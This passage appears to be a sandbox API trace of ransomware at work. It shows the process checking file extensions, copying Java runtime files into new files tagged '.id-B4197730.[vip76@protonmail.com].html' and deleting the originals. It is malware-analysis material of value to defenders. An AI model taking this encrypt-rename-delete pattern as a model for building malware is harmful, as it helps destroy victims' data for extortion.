	[0178.230] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.230] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.234] CloseHandle (hObject=0x5b4) returned 1
	[0178.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.234] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.235] lstrlenW (lpString=".doc") returned 4
	[0178.235] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".docx") returned 5
	[0178.235] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.235] lstrlenW (lpString=".pdf") returned 4
	[0178.235] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".xls") returned 4
	[0178.235] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".xlsx") returned 5
	[0178.235] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.235] lstrlenW (lpString=".ppt") returned 4
	[0178.235] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.235] lstrlenW (lpString=".zip") returned 4
	[0178.235] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".rar") returned 4
	[0178.235] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".bz2") returned 4
	[0178.235] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString=".7z") returned 3
	[0178.235] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.235] lstrlenW (lpString=".dbf") returned 4
	[0178.235] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.235] lstrlenW (lpString=".1cd") returned 4
	[0178.235] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString=".jpg") returned 4
	[0178.236] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString=".doc") returned 4
	[0178.236] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".docx") returned 5
	[0178.236] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.236] lstrlenW (lpString=".pdf") returned 4
	[0178.236] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".xls") returned 4
	[0178.236] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".xlsx") returned 5
	[0178.236] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.236] lstrlenW (lpString=".ppt") returned 4
	[0178.236] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString=".zip") returned 4
	[0178.236] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".rar") returned 4
	[0178.236] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".bz2") returned 4
	[0178.236] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString=".7z") returned 3
	[0178.236] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString=".dbf") returned 4
	[0178.236] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.236] lstrlenW (lpString=".1cd") returned 4
	[0178.236] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0178.237] lstrlenW (lpString=".jpg") returned 4
	[0178.237] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.237] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0178.237] lstrlenW (lpString="resources.jar") returned 13
	[0178.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.238] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3492573) returned 1
	[0178.238] CloseHandle (hObject=0x5b4) returned 1
	[0178.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20
	[0178.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0178.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString=".doc") returned 4
	[0178.239] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.239] lstrlenW (lpString=".docx") returned 5
	[0178.239] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0178.239] lstrlenW (lpString=".pdf") returned 4
	[0178.239] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString=".xls") returned 4
	[0178.239] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString=".xlsx") returned 5
	[0178.239] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0178.239] lstrlenW (lpString=".ppt") returned 4
	[0178.239] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString=".zip") returned 4
	[0178.239] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString=".rar") returned 4
	[0178.239] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString=".bz2") returned 4
	[0178.239] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.239] lstrlenW (lpString=".7z") returned 3
	[0178.239] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString=".dbf") returned 4
	[0178.239] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString=".1cd") returned 4
	[0178.239] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.239] lstrlenW (lpString=".jpg") returned 4
	[0178.239] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString=".doc") returned 4
	[0178.240] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.240] lstrlenW (lpString=".docx") returned 5
	[0178.240] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0178.240] lstrlenW (lpString=".pdf") returned 4
	[0178.240] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.240] lstrlenW (lpString=".xls") returned 4
	[0178.240] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.240] lstrlenW (lpString=".xlsx") returned 5
	[0178.240] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0178.240] lstrlenW (lpString=".ppt") returned 4
	[0178.240] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString=".zip") returned 4
	[0178.240] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.240] lstrlenW (lpString=".rar") returned 4
	[0178.240] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.240] lstrlenW (lpString=".bz2") returned 4
	[0178.240] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.240] lstrlenW (lpString=".7z") returned 3
	[0178.240] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString=".dbf") returned 4
	[0178.240] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString=".1cd") returned 4
	[0178.240] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0178.240] lstrlenW (lpString=".jpg") returned 4
	[0178.240] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.241] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0178.241] lstrlenW (lpString="rt.jar") returned 6
	[0178.241] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.241] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=54560347) returned 1
	[0178.241] CloseHandle (hObject=0x5b4) returned 1
	[0178.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20
	[0178.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0178.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.242] lstrlenW (lpString=".doc") returned 4
	[0178.242] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.242] lstrlenW (lpString=".docx") returned 5
	[0178.242] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0178.242] lstrlenW (lpString=".pdf") returned 4
	[0178.242] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.242] lstrlenW (lpString=".xls") returned 4
	[0178.242] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.242] lstrlenW (lpString=".xlsx") returned 5
	[0178.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0178.242] lstrlenW (lpString=".ppt") returned 4
	[0178.242] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.242] lstrlenW (lpString=".zip") returned 4
	[0178.242] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.242] lstrlenW (lpString=".rar") returned 4
	[0178.242] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.242] lstrlenW (lpString=".bz2") returned 4
	[0178.242] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.242] lstrlenW (lpString=".7z") returned 3
	[0178.242] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.242] lstrlenW (lpString=".dbf") returned 4
	[0178.242] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString=".1cd") returned 4
	[0178.243] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString=".jpg") returned 4
	[0178.243] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString=".doc") returned 4
	[0178.243] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.243] lstrlenW (lpString=".docx") returned 5
	[0178.243] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0178.243] lstrlenW (lpString=".pdf") returned 4
	[0178.243] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString=".xls") returned 4
	[0178.243] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString=".xlsx") returned 5
	[0178.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0178.243] lstrlenW (lpString=".ppt") returned 4
	[0178.243] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString=".zip") returned 4
	[0178.243] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString=".rar") returned 4
	[0178.243] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.243] lstrlenW (lpString=".bz2") returned 4
	[0178.243] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.243] lstrlenW (lpString=".7z") returned 3
	[0178.243] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.243] lstrlenW (lpString=".dbf") returned 4
	[0178.243] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.244] lstrlenW (lpString=".1cd") returned 4
	[0178.244] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0178.244] lstrlenW (lpString=".jpg") returned 4
	[0178.244] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.244] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".html") returned -1
	[0178.244] lstrlenW (lpString="blacklist") returned 9
	[0178.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.247] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4054) returned 1
	[0178.247] CloseHandle (hObject=0x5b4) returned 1
	[0178.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20
	[0178.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.248] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.248] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0178.251] GetLastError () returned 0x0
	[0178.251] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xfd6, lpOverlapped=0x0) returned 1
	[0178.252] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfe0, lpOverlapped=0x0) returned 1
	[0178.253] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.254] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0178.254] SetEndOfFile (hFile=0x594) returned 1
	[0178.254] CloseHandle (hObject=0x594) returned 1
	[0178.254] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.254] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.256] CloseHandle (hObject=0x5b4) returned 1
	[0178.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.257] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1
	[0178.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.257] lstrlenW (lpString=".doc") returned 4
	[0178.257] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0178.257] lstrlenW (lpString=".docx") returned 5
	[0178.257] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0178.258] lstrlenW (lpString=".pdf") returned 4
	[0178.258] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".xls") returned 4
	[0178.258] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".xlsx") returned 5
	[0178.258] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0178.258] lstrlenW (lpString=".ppt") returned 4
	[0178.258] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString=".zip") returned 4
	[0178.258] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".rar") returned 4
	[0178.258] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".bz2") returned 4
	[0178.258] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".7z") returned 3
	[0178.258] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString=".dbf") returned 4
	[0178.258] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString=".1cd") returned 4
	[0178.258] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString=".jpg") returned 4
	[0178.258] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.258] lstrlenW (lpString=".doc") returned 4
	[0178.258] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0178.258] lstrlenW (lpString=".docx") returned 5
	[0178.258] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0178.258] lstrlenW (lpString=".pdf") returned 4
	[0178.259] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString=".xls") returned 4
	[0178.259] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString=".xlsx") returned 5
	[0178.259] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0178.259] lstrlenW (lpString=".ppt") returned 4
	[0178.259] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.259] lstrlenW (lpString=".zip") returned 4
	[0178.259] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString=".rar") returned 4
	[0178.259] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString=".bz2") returned 4
	[0178.259] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString=".7z") returned 3
	[0178.259] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0178.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.259] lstrlenW (lpString=".dbf") returned 4
	[0178.259] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.259] lstrlenW (lpString=".1cd") returned 4
	[0178.259] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0178.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0178.259] lstrlenW (lpString=".jpg") returned 4
	[0178.259] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0178.259] lstrcmpiW (lpString1=".certs", lpString2=".html") returned -1
	[0178.259] lstrlenW (lpString="blacklisted.certs") returned 17
	[0178.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.260] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1253) returned 1
	[0178.260] CloseHandle (hObject=0x5b4) returned 1
	[0178.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20
	[0178.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
